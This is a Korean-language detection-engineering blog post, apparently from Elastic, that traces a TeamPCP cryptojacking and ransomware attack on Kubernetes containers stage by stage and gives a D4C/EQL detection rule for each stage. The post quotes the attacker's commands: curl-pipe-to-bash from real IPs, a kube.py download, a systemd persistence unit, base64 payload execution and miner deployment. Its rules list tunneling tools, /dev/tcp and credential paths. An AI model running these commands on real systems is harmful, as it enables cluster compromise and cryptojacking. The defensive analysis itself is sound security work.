Ruben Groenewoud

Linux & 클라우드 탐지 엔지니어링 - TeamPCP 컨테이너 공격 시나리오

이 게시글은 TeamPCP의 다단계 컨테이너 침해에 대한 실제 사례를 통해 Elastic의 D4C가 공격 체인의 각 단계에서 어떻게 런타임 신호를 표시하는지 보여줍니다.

Linux & 클라우드 탐지 엔지니어링 - TeamPCP 컨테이너 공격 시나리오

서문

이전 글에서는 컨테이너용 Defend(D4C)의 배포 방법, 정책 모델의 작동 방식, 런타임 원격 분석의 구조에 대해 살펴보았습니다. 이러한 기반이 마련되면 다음 단계는 구성 및 현장 분석에서 응용 탐지 엔지니어링으로 넘어가는 것입니다.

이 게시물에서는 Flare에서 문서화한 TeamPCP 클라우드 네이티브 랜섬웨어 작전을 기반으로 한 실제 컨테이너 공격 시나리오를 안내합니다. 고립된 기술을 추상적으로 분석하는 대신 컨테이너화된 환경에서 공격이 전개되는 과정을 추적하고 각 단계가 D4C 원격 분석에서 어떻게 나타나는지 살펴봅니다.

이 시나리오의 활동은 거의 전체 공격 라이프사이클에 걸쳐 MITRE ATT&CK에 매핑됩니다. 침입은 컨테이너 내부에서 실행 및 발견에서 지속성, 측면 이동, 명령 및 제어 활동, 궁극적으로 영향을 미치는 단계로 진행됩니다.

이 글에서는 이러한 동작을 구체적인 탐지 로직에 매핑함으로써, 탐지 엔지니어가 컨테이너 감염을 고립된 의심스러운 명령이 아닌 구조화된 공격 체인의 일부로 식별할 수 있도록 지원하는 D4C의 방법을 설명합니다.

클라우드 네이티브 및 랜섬웨어 환경의 떠오르는 강자, TeamPCP

이 시나리오는 최근 Flare에서 연구하고 문서화한 TeamPCP 클라우드 네이티브 랜섬웨어의 컨테이너 손상 및 전파 단계를 안내합니다. 아래 흐름은 추상적인 사례 연구로 취급하기보다는 실제로 공격이 어떻게 진행되는지 반영하고, D4C 원격 분석과 사전 구축된 탐지가 침입의 각 단계를 어떻게 드러내는지 보여줍니다.

이 단계에서 위협 행위자의 목표는 다음과 같습니다:

  1. 컨테이너 내에서 대화형 코드 실행 확보
  2. 워크로드가 Kubernetes에서 실행되는지 여부 확인
  3. 내구성 있는 실행 및 지속성 확립
  4. 파드와 노드에서 측면으로 전파하기
  5. 대규모 수익 창출(채굴, 랜섬웨어, 재판매)을 위한 환경 준비하기

이러한 각 목표는 관찰 가능한 런타임 동작을 남기며, D4C는 이를 잘 감지할 수 있는 위치에 있습니다.

1 단계 - 다운로드 및 파이프 투 셸을 통한 초기 실행

공격은 셸 파이프라인을 통해 스크립트를 다운로드하고 즉시 실행하는 익숙하지만 효과적인 기법으로 시작됩니다.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

여기서는 파일 생성을 피하면서 즉시 실행할 수 있도록 하는 것이 목적입니다. 디스크에 페이로드가 기록되지 않고 스캔할 명백한 아티팩트가 없는 전형적인 트레이드크래프트 방식입니다.

D4C의 관점에서 보면 여전히 매우 의심스러운 런타임 패턴이 발생합니다. 대화형 curl 프로세스는 컨테이너 내부에서 실행되며 즉시 셸 인터프리터를 생성합니다. 부모-자식 관계, 명령줄, 컨테이너 컨텍스트가 모두 캡처됩니다.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

이 규칙은 디스크에 파일이 기록되지 않은 경우에도 다운로드 → 인터프리터 실행 패턴을 감지합니다. 이 단계를 감지하는 것은 컨테이너 내에서 실제 키보드 활동을 나타내는 첫 번째 신뢰할 수 있는 지표이므로 매우 중요합니다.

실행 시 TeamPCP는 대상 시스템에서 경쟁 마이닝 프로세스를 검색하고 pkill 명령을 사용하여 해당 프로세스를 종료합니다.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

TeamPCP의 경쟁사 죽이기 로직은 경쟁사에 비해 매우 제한적이며, xmrig 에만 초점을 맞추고 있습니다. 컨테이너에서 수동으로 프로세스를 종료하는 것은 흔하지 않으며, 특히 대화형 프로세스를 통해 수행하는 경우에는 더욱 그렇습니다.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

최초 액세스 시 다음과 같은 탐지 알림이 표시됩니다:

단계 2 - Kubernetes 환경 검색

실행 권한을 얻은 후 공격자는 서비스 계정 토큰을 테스트하여 컨테이너가 쿠버네티스 내부에서 실행 중인지 확인합니다:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

이 검사는 공격이 현재 컨테이너를 넘어 확장될 수 있는지 여부를 결정합니다. 토큰이 존재하면 공격자는 Kubernetes API를 악용합니다. 또한, 드롭된 스크립트는 환경 변수와 여러 민감한 파일 위치를 열거하여 수많은 검색 관련 알림을 트리거합니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

발견 시 다음과 같은 탐지 알림이 표시됩니다:

스테이지 3 - 다음을 통한 측면 이동 kube.py

서비스 계정 토큰이 있으면 공격자는 파드를 열거하고 클러스터 전체에서 명령을 실행하도록 설계된 Python 스크립트를 다운로드하여 실행합니다:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

이 시점에서 공격자의 목표는 분명합니다. 손상된 단일 컨테이너를 합법적인 Kubernetes API를 사용하여 클러스터 전체로 전파하기 위한 발판으로 삼는 것입니다.

D4C는 파일 및 프로세스 원격 분석의 조합을 통해 이 단계를 감지합니다. 스크립트는 임시 디렉터리에 작성되고 인터프리터를 통해 즉시 실행되며, 이 모든 것이 대화형 컨테이너 세션 내에서 이루어집니다.

원격 소스에서 파일을 가져오는 대화형 curl 명령을 탐지하는 것은 오래된 컨테이너 워크로드에 대한 강력한 탐지 신호입니다.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

위의 탐지 규칙은 원격 파일 다운로드를 탐지하지만, 한 단계 더 나아가 파일 생성 시퀀스와 동일한 컨테이너 컨텍스트 내에서 실행되는 시퀀스를 탐지할 수 있습니다:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

여기서는 대화형 프로세스에 초점을 맞추고 패키지 관리자가 만든 파일은 일반적인 워크로드에 존재할 것으로 예상되므로 제외합니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

측면 이동 시 다음과 같은 감지 알림이 표시됩니다:

4 단계 - Systemd를 통해 지속성 설정하기

시스템 서비스와 같은 지속성 메커니즘은 일반적으로 컨테이너 환경에서는 비논리적입니다. 대부분의 컨테이너는 수명 주기 관리를 위해 컨테이너 런타임 또는 오케스트레이터에 의존하는 수명이 짧은 단일 프로세스 워크로드로 설계됩니다. 일반적으로 전체 초기화 시스템을 실행하지 않으며, 시스템드가 있더라도 컨테이너 내부의 변경 사항이 재배포, 일정 변경 또는 이미지 리빌드에서 살아남는 경우는 거의 없습니다.

따라서 컨테이너 내에서 systemd 을 통해 지속성을 설정하려는 시도는 이상 징후를 나타내는 강력한 지표입니다. 컨테이너가 상승된 권한과 호스트 파일 시스템에 대한 액세스 권한으로 실행 중이거나 공격자가 컨테이너 경계를 벗어나 노드 수준에서 지속성 메커니즘이 적용되기를 기대하는 두 가지 중 하나를 나타내는 경우가 많습니다.

TeamPCP 캠페인에서 공격자는 systemd 서비스를 생성하여 지속성을 확보하려고 시도합니다:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

이 동작은 일반적인 컨테이너 동작과 일치하지 않습니다. 컨테이너 내부에서 시스템 단위 파일을 작성하는 것은 컨테이너 수명 주기 이후에도 지속하려는 의도를 암시하며, 이는 기본 호스트가 영향을 받는 경우에만 의미가 있습니다.

D4C는 이 동작을 컨테이너 컨텍스트에서 시작된 민감한 시스템 위치의 파일 생성 활동으로 캡처합니다. 다음 탐지 로직은 systemd 서비스, 타이머, 크론 작업, sudoers 파일, 셸 프로필 수정 등 일반적인 Linux 지속성 경로에서 쓰기 지향 파일 활동을 찾습니다:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

이 탐지는 systemd 에만 초점을 맞추지 않습니다. 대신, 코드 실행이 완료되면 공격자가 시도할 수 있는 여러 일반적인 Linux 지속성 벡터를 포괄하여 지속성을 보다 광범위하게 모델링합니다. 이 규칙은 패키지 관리자를 명시적으로 제외함으로써 합법적인 업데이트 및 설치 활동으로 인한 노이즈를 줄입니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

지속 시 다음과 같은 탐지 경고가 표시됩니다:

컨테이너 컨텍스트에서 이 탐지가 실행되면 잠재적으로 호스트 수준에 영향을 미칠 수 있는 손상 후 동작의 강력한 지표가 됩니다. 의심스러울 뿐만 아니라 컨테이너의 예상 동작 방식과 구조적으로 호환되지 않는 활동을 강조 표시합니다.

단계 5 - 런타임에 툴링 설치하기

도커 기반 배포에서는 공격자가 필요한 툴을 동적으로 설치합니다:

apk add --no-cache curl bash python3

이를 통해 동일한 페이로드를 수정 없이 여러 기본 이미지에서 실행할 수 있습니다.

방어자의 관점에서 컨테이너 내부에 런타임 패키지를 설치하는 것은 배포 후 변조를 나타내는 강력한 지표입니다. D4C는 알려진 패키지 관리자와 연결된 프로세스 실행 원격 측정을 통해 이를 감지합니다.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

컨테이너에 설치되는 모든 패키지가 악의적인 것은 아닙니다. 오케스트레이션 시 컨테이너를 실행하려면 특정 패키지를 설치해야 합니다. 그러나 위협 행위자는 패키지 관리자를 사용하여 필요한 툴을 설치하는 경우가 많기 때문에 이미 배포된 컨테이너 런타임에 대한 강력한 신호입니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

도구 설치 시 다음과 같은 감지 알림이 표시됩니다:

단계 6 - 터널링 및 프록시 액세스 설정

안정적인 실행과 지속성이 확보되면 TeamPCP는 액세스에서 연결로 초점을 전환합니다. 이 단계에서 공격자는 내부 서비스를 노출하고 안정적인 외부 액세스를 유지하기 위해 터널링 및 프록시 툴링(예: frps 및 gost)을 배포합니다.

이 단계의 목적은 손상된 컨테이너를 재사용 가능한 인프라로 전환하는 것입니다. 공격자는 터널 또는 전달자를 설정하여 다른 환경으로 피벗하거나 트래픽을 중계하거나 손상된 워크로드를 더 큰 공격 체인의 일부로 재사용할 수 있습니다.

D4C는 프로세스 실행 원격 측정을 통해 이 활동을 감지합니다. 컨테이너 내에서 알려진 터널링 도구를 실행하는 것은 합법적인 워크로드에서는 흔하지 않으며, 대화형 실행 및 컨테이너 컨텍스트와 결합할 때 분명하게 두드러집니다.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

Linux 시스템에서 사용할 수 있는 터널링 및 포트 포워딩 도구가 많이 있습니다. 위에 표시된 엄브렐러 규칙은 정규식, 프로세스 이름, 프로세스 인수의 조합을 활용하여 일반적으로 관찰되는 터널링 활동을 탐지합니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

터널링 및 프록시 액세스 시 다음과 같은 탐지 알림이 표시됩니다:

터널링 탐지는 단기간의 침해에서 공격자의 지속적인 존재로 전환되는 경우가 많기 때문에 중요합니다. 이전 단계와 연계하면 기회주의적 실행이 아닌 의도적이고 지속적인 남용을 강력하게 확인할 수 있습니다.

단계 7 - 인코딩된 페이로드 실행

페이로드 로직을 모호하게 하기 위해 공격자는 Python을 통해 직접 base64로 인코딩된 페이로드를 실행합니다:

python3 -c "exec(base64.b64decode('<payload>').decode())"

이 기술은 페이로드 자체에 대한 가시성을 감소시키지만 인코딩된 인수가 대화형 세션에서 인터프리터에 직접 전달되는 독특한 실행 특성을 도입합니다.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

페이로드를 디코딩하는 방법은 여러 가지가 있지만, 위에 표시된 엄브렐러 규칙은 가장 일반적으로 관찰되는 기술을 캡처한 것입니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

실행 시 다음과 같은 탐지 알림이 표시됩니다:

단계 8 - 채굴기 배포 및 실행

결국 공격자는 base64에서 마이너를 재구성하여 디스크에 쓰고 실행 가능한 상태로 만든 후 실행합니다:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

이 단계는 설정에서 수익 창출로 전환하는 단계입니다. 공격자는 이제 클러스터 리소스를 적극적으로 악용하고 있습니다.

앞서 언급했듯이 D4C는 이전 단계에서 연결된 동일한 규칙을 사용하여 base64 페이로드의 디코딩을 감지합니다. 탐지해야 할 다른 세 가지 신호는 base64로 인코딩된 페이로드 생성, 특정 디렉터리에서의 파일 권한 변경, 임시 디렉터리에서 새로 생성된 바이너리의 실행입니다.

base64로 인코딩된 페이로드 생성을 위해 echo/printf가 내장된 셸의 실행을 감지하는 엄브렐러 규칙과 일반적으로 악용되는 명령줄의 화이트리스트가 만들어졌습니다:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

특히 대화형 프로세스의 경우 다음과 같은 탐지 규칙이 높은 신호입니다.

흐름의 두 번째 부분은 파일 권한 변경과 관련이 있습니다. 모든 파일 권한 변경이 악의적인 것은 아니지만, 컨테이너 내의 대화형 프로세스를 통해 전역 쓰기 가능 디렉터리의 실행 파일에 대한 파일 권한 변경을 탐지하는 일은 자주 발생하지 않을 것으로 예상됩니다.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

여기서 파일 및 프로세스 이벤트 카테고리를 활용한다는 점에 유의하세요. 그 이유는 정책에서 특별히 설정한 경우 D4C가 파일 이벤트를 통해 이러한 변경 사항을 캡처하지만 기본적으로 execve 호출을 감지하도록 설정하면 이러한 프로세스 실행을 캡처하기 때문입니다.

이 체인의 마지막 부분은 월드 쓰기 가능한 위치에서 바이너리를 실행하는 것과 관련이 있습니다. 대부분의 컨테이너 런타임은 이러한 디렉터리에서 페이로드를 실행하지 않습니다.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

이 규칙은 숨겨진 프로세스 실행도 캡처합니다. 이는 위협 행위자가 프로세스를 숨겨진 것으로 표시하여 탐지를 회피하려고 시도할 수 있기 때문에 위협 행위자들도 흔히 사용하는 기법입니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

마이너 배포 및 실행 시 다음과 같은 탐지 알림이 표시됩니다:

단계 9 - 노드 제어로 에스컬레이션

공격자가 컨테이너 내부에 거점을 확보하고 권한이 있는 서비스 계정에 액세스하면, 다음 단계는 Kubernetes 컨트롤 플레인 자체를 악용하는 것입니다. 이 단계에서는 공격이 단일 컨테이너를 넘어 클러스터 전체에 영향을 미칩니다. 이 활동은 Kubernetes 감사 로그를 통해 감지됩니다. 이 침입으로 인해 드러난 Kubernetes 감사 로그 규칙은 세 가지 패턴으로 나뉩니다.

9.1단계 - 정찰 & API 어뷰징

공격자의 kube.py 스크립트는 탈취한 서비스 계정 토큰을 사용하여 모든 네임스페이스에서 파드, 시크릿, 노드를 열거합니다. 쿠버네티스의 관점에서 볼 때, 이는 단일 ID가 여러 리소스 유형에 걸쳐 API 호출을 대량으로 수행하는 것처럼 보이며, 이는 권한 열거 감지 로직에 직접 매핑되는 패턴입니다. 파이썬의 urllib 대신 kubectl 을 사용하는 것도 API 클라이언트로서는 이례적인 일입니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

정찰 및 API 남용 시 다음과 같은 탐지 알림이 표시됩니다:

9.2단계 - 권한 에스컬레이션 & 워크로드 조작

열거가 완료되면 공격자는 권한이 있는 데몬 세트(system-monitor)를 생성하고 손상된 서비스 계정에 바인딩된 권한이 있는 클러스터 역할에 의존합니다. 워크로드 생성과 이를 활성화한 역할 모두 플래그가 지정됩니다. 즉, 민감한 워크로드 수정으로 DaemonSet을, pods/exec, 비밀 액세스, DaemonSet 생성을 포함한 광범위한 권한을 부여하는 민감한 역할로 ClusterRole 바인딩을 지정합니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

권한 에스컬레이션 및 워크로드 조작 시 다음과 같은 탐지 알림을 받게 됩니다:

9.3단계 - 노드 수준 이스케이프

데몬셋의 파드 사양은 컨테이너가 일반적으로 제공하는 모든 격리 경계를 허물도록 설계되었습니다. 권한 모드를 요청하고 호스트 네트워크 및 PID 네임스페이스에 연결한 후 노드의 루트 파일시스템을 마운트합니다. 이러한 각 속성은 별도의 탐지 규칙을 트리거하며, 노드 탈출을 위해 설계된 컨테이너 워크로드에 대한 명확한 그림을 그려줍니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

노드 레벨 이스케이프 시 다음과 같은 탐지 알림이 발생합니다:

이 세 가지 하위 단계는 컨테이너 중심 탐지의 핵심 경계를 강조합니다. D4C는 컨테이너 내부에서 일어나는 일을 관찰하는 데 탁월하지만, 컨테이너가 생성된 방법과 이유를 파악하려면 Kubernetes 컨트롤 플레인 원격 측정이 필요합니다. 후속 "Kubernetes 탐지 엔지니어링" 시리즈에서는 워크로드 생성, 권한 상승, 노드 수준 영향을 아우르는 다단계 공격을 탐지하기 위해 D4C 런타임 이벤트와 Kubernetes 감사 로그의 상관 관계에 초점을 맞추고자 합니다.

이미 Kubernetes 감사 로그에 익숙하거나 감사 로그에 대해 더 자세히 알고 싶은 분들을 위해, GitHub 탐지 규칙 리포지토리에 Kubernetes 감사 로그 프레임워크를 활용하는 몇 가지 사전 구축된 탐지 규칙이 준비되어 있습니다.

단계 10 - React2Shell을 통한 웹 서버 익스플로잇

손상된 컨테이너와 쿠버네티스 제어 경로를 악용하는 것 외에도, TeamPCP는 직접 웹 서버를 악용하여 노출된 서비스에 대한 셸 액세스를 얻기도 합니다. 관련 캠페인에서 언급된 기법 중 하나는 취약한 웹 애플리케이션을 악용하여 원격 명령 실행을 달성하고 대화형 셸로 드롭하는 React2Shell입니다.

공격자의 목표는 간단합니다. Kubernetes 워크로드 이상으로 액세스를 확장하고 환경에 대한 진입 지점의 수를 늘리는 것입니다. 웹 대면 서비스는 컨테이너보다 덜 엄격하게 격리되는 경우가 많으며, 패치를 적용하지 않으면 호스트 수준의 침해로 이어지는 빠른 경로를 제공할 수 있습니다.

탐지 관점에서 보면 이 활동은 이미 충분히 다루어지고 있습니다. Elastic은 웹 서버 프로세스에서 발생하는 의심스러운 명령 실행 패턴에 플래그를 지정하는 포괄적인 웹 서버 익스플로잇 탐지 기능을 제공합니다. 또한 여러 호스트 기반 Linux 탐지는 예기치 않은 셸 실행, 웹 서비스에서 실행되는 명령 인터프리터, 후속 툴 실행 등 성공적인 웹 셸 액세스 후의 익스플로잇 사후 동작을 식별합니다.

이 단계는 컨테이너별 방어를 완전히 우회하는 대체 침입 경로를 나타내므로 이 단계를 탐지하는 것이 중요합니다. 이전의 D4C 탐지와 연관 지어 볼 때, React2Shell 스타일의 익스플로잇은 공격자가 여러 접근 경로를 적극적으로 추구하여 폭발 반경과 지속 가능성을 모두 높인다는 것을 확인할 수 있습니다.

이 단계에서 트리거된 탐지 규칙은 여기에서 확인할 수 있습니다:

웹 서버 익스플로잇 시 다음과 같은 탐지 알림이 표시됩니다:

이 시나리오가 탐지 연습으로 효과적인 이유는 공격자의 모든 주요 목표(실행, 지속성, 전파, 수익화)가 컨테이너 내부의 런타임 동작으로 나타나기 때문입니다. 이러한 동작을 맥락에서 관찰하는 D4C의 기능 덕분에 탐지 엔지니어는 피해가 발생한 후에야 공격을 발견하는 것이 아니라 공격이 전개되는 과정을 추적할 수 있습니다.

공격 발견으로 모든 것을 하나로 묶기

컨테이너 런타임과 Kubernetes 감사 원격 분석에서 개별 탐지 규칙을 실행하면 수십 개의 경고가 생성되며, 각 경고는 하나의 의심스러운 작업을 개별적으로 강조 표시합니다. 이를 하나씩 검토하는 방어자는 여기에는 권한이 있는 파드가 있고, 저기에는 curl | bash, 다른 곳에는 API 열거가 있는 것을 볼 수 있습니다. 문제는 알림을 생성하는 것이 아니라 130개가 넘는 신호가 모두 동일한 작업의 일부라는 것을 인식하는 것입니다.

이것이 바로 Attack Discovery가 필요한 이유입니다. 공격 탐색은 일련의 경보를 수집하고 이를 일관된 공격 내러티브로 자동 연관시키는 Elastic의 생성형 AI 기능입니다. 분석가가 개별 경보 사이를 수동으로 피벗하는 대신, 어떤 신호가 함께 속하는지 식별하고 이를 MITRE ATT&CK 프레임워크에 매핑하여 발생한 일에 대한 가독성 있는 단일 요약을 생성합니다.

이 시뮬레이션에서 생성된 경고를 가리키자 Attack Discovery는 전체 TeamPCP 킬 체인을 "컨테이너 크립토재킹 공격 체인"으로 올바르게 재구성했습니다. 요약이 확인되었습니다:

  • 초기 접근: busyboxpython3.11 에서 스폰되어 정찰 명령을 실행한 피해자 노드의 웹 서버 익스플로잇 (id, whoami, uname -a, cat /etc/passwd)
  • 권한 에스컬레이션: system:serviceaccount:kube-system:daemon-set-controllerHostPID, HostNetwork, 특권 모드 및 민감한 hostPath 볼륨 마운트를 사용하여 높은 권한의 파드를 생성한다.
  • 방어 회피: pkill -9 xmrigpkill -9 XMRig 을 통한 경쟁사 크립토마이너 정리 및 base64 인코딩된 Python 페이로드와 함께
